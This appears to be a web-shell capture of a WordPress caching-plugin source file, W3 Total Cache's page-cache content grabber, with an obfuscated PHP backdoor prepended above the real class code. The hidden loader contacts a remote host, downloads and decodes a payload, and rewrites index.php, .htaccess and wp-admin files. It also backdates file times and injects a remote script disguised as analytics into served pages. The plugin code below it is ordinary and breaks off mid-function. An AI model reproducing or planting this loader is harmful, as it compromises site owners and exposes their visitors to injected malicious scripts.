AlkantarClanX12
Your IP : 3.133.137.10
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
namespace W3TC;
// To support legacy updates with old add-ins
if ( class_exists( 'PgCache_ContentGrabber' ) )
return;
/**
* W3 PgCache
*/
/**
* class PgCache
*/
class PgCache_ContentGrabber {
/**
* Advanced cache config
*/
var $_config = null;
/**
* Caching flag
*
* @var boolean
*/
var $_caching = false;
/**
* Time start
*
* @var double
*/
var $_time_start = 0;
/**
* Lifetime
*
* @var integer
*/
var $_lifetime = 0;
/**
* Enhanced mode flag
*
* @var boolean
*/
var $_enhanced_mode = false;
/**
* Debug flag
*
* @var boolean
*/
var $_debug = false;
/**
* Request URI
*
* @var string
*/
private $_request_uri;
// filled by _preprocess_request_uri
// - ['host' => 'path' => , 'querystring' => ]
private $_request_url_fragments;
/**
* Page key
*
* @var string
*/
var $_page_key = '';
private $_page_key_extension;
/**
* Shutdown buffer
*
* @var string
*/
var $_shutdown_buffer = '';
/**
* Mobile object
*
* @var W3_Mobile
*/
var $_mobile = null;
/**
* Referrer object
*
* @var W3_Referrer
*/
var $_referrer = null;
/**
* Cache reject reason
*
* @var string
*/
var $cache_reject_reason = '';
private $process_status = '';
private $output_size = 0;
/**
* @var bool If cached page should be displayed after init
*/
var $_late_init = false;
/**
* @var bool late caching
*/
var $_late_caching = false;
var $_cached_data = null;
var $_old_exists = false;
/**
* @var bool Nginx memcached flag
*/
var $_nginx_memcached = false;
/**
* @var string
*/
var $_page_group;
/**
* PHP5 Constructor
*/
function __construct() {
$this->_config = Dispatcher::config();
$this->_debug = $this->_config->get_boolean( 'pgcache.debug' );
$this->_request_url_fragments = array(
'host' => Util_Environment::host_port()
);
$this->_request_uri = isset( $_SERVER['REQUEST_URI'] ) ?
filter_var( $_SERVER['REQUEST_URI'], FILTER_SANITIZE_URL ) : ''; // phpcs:ignore
$this->_lifetime = $this->_config->get_integer( 'pgcache.lifetime' );
$this->_late_init = $this->_config->get_boolean( 'pgcache.late_init' );
$this->_late_caching = $this->_config->get_boolean( 'pgcache.late_caching' );
$engine = $this->_config->get_string( 'pgcache.engine' );
$this->_enhanced_mode = ( $engine == 'file_generic' );
$this->_nginx_memcached = ( $engine == 'nginx_memcached' );
if ( $this->_config->get_boolean( 'mobile.enabled' ) ) {
$this->_mobile = Dispatcher::component( 'Mobile_UserAgent' );
}
if ( $this->_config->get_boolean( 'referrer.enabled' ) ) {
$this->_referrer = Dispatcher::component( 'Mobile_Referrer' );
}
}
/**
* Do cache logic
*/
function process() {
$this->run_extensions_dropin();
/**
* Skip caching for some pages
*/
switch ( true ) {
case defined( 'DONOTCACHEPAGE' ):
$this->process_status = 'miss_third_party';
$this->cache_reject_reason = 'DONOTCACHEPAGE defined';
if ( $this->_debug ) {
self::log( 'skip processing because of DONOTCACHEPAGE constant' );
}
return;
case defined( 'DOING_AJAX' ):
$this->process_status = 'miss_ajax';
$this->cache_reject_reason = 'AJAX request';
if ( $this->_debug ) {
self::log( 'skip processing because of AJAX constant' );
}
return;
case defined( 'APP_REQUEST' ):
case defined( 'XMLRPC_REQUEST' ):
$this->cache_reject_reason = 'API call constant defined';
$this->process_status = 'miss_api_call';
if ( $this->_debug ) {
self::log( 'skip processing because of API call constant' );
}
return;
case defined( 'DOING_CRON' ):
case defined( 'WP_ADMIN' ):
case ( defined( 'SHORTINIT' ) && SHORTINIT ):
$this->cache_reject_reason = 'WP_ADMIN defined';
$this->process_status = 'miss_wp_admin';
if ( $this->_debug ) {
self::log( 'skip processing because of generic constant' );
}
return;
}
/**
* Do page cache logic
*/
if ( $this->_debug ) {
$this->_time_start = Util_Debug::microtime();
}
// TODO: call modifies object state, rename method at least
$this->_caching = $this->_can_read_cache();
global $w3_late_init;
if ( $this->_debug ) {
self::log( 'start, can_cache: ' .
( $this->_caching ? 'true' : 'false' ) .
', reject reason: ' . $this->cache_reject_reason );
}
$this->_page_key_extension = $this->_get_key_extension();
if ( !$this->_page_key_extension['cache'] ) {
$this->_caching = false;
$this->cache_reject_reason =
$this->_page_key_extension['cache_reject_reason'];
}
if ( $this->_caching && !$this->_late_caching ) {
$this->_cached_data = $this->_extract_cached_page( false );
if ( $this->_cached_data ) {
if ( $this->_late_init ) {
$w3_late_init = true;
return;
} else {
$this->process_status = 'hit';
$this->process_cached_page_and_exit( $this->_cached_data );
// if is passes here - exit is not possible now and
// will happen on init
return;
}
} else
$this->_late_init = false;
} else {
$this->_late_init = false;
}
$w3_late_init = $this->_late_init;
/**
* Start output buffering
*/
Util_Bus::add_ob_callback( 'pagecache', array( $this, 'ob_callback' ) );
}
private function run_extensions_dropin() {
$c = $this->_config;
$extensions = $c->get_array( 'extensions.active' );
$dropin = $c->get_array( 'extensions.active_dropin' );
foreach ( $dropin as $extension => $nothing ) {
if ( isset( $extensions[$extension] ) ) {
$path = $extensions[$extension];
$filename = W3TC_EXTENSION_DIR . '/' .
str_replace( '..', '', trim( $path, '/' ) );
if ( file_exists( $filename ) ) {
include_once( $filename );
}
}
}
}
/**
* Extracts page from cache
*
* @return boolean
*/
function _extract_cached_page( $with_filter ) {
$cache = $this->_get_cache( $this->_page_key_extension['group'] );
$mobile_group = $this->_page_key_extension['useragent'];
$referrer_group = $this->_page_key_extension['referrer'];
$encryption = $this->_page_key_extension['encryption'];
$compression = $this->_page_key_extension['compression'];
/**
* Check if page is cached
*/
if ( !$this->_set_extract_page_key( $this->_page_key_extension, $with_filter ) ) {
$data = null;
} else {
$data = $cache->get_with_old( $this->_page_key, $this->_page_group );
list( $data, $this->_old_exists ) = $data;
}
/**
* Try to get uncompressed version of cache
*/
if ( $compression && !$data ) {
if ( !$this->_set_extract_page_key(
array_merge( $this->_page_key_extension,
array( 'compression' => '') ), $with_filter ) ) {
$data = null;
} else {
$data = $cache->get_with_old( $this->_page_key, $this->_page_group );
list( $data, $this->_old_exists ) = $data;
$compression = false;
}
}
if ( !$data ) {
if ( $this->_debug ) {
self::log( 'no cache entry for ' .
$this->_request_url_fragments['host'] . $this->_request_uri . ' ' .
$this->_page_key );
}
return null;
}
$data['compression'] = $compression;
return $data;
}
private function _set_extract_page_key( $page_key_extension, $with_filter ) {
// set page group
$this->_page_group = $page_key_extension['group'];
if ( $with_filter ) {
// return empty value if caching should not happen
$this->_page_group = apply_filters( 'w3tc_page_extract_group',
$page_key_extension['group'],
$this->_request_url_fragments['host'] . $this->_request_uri,
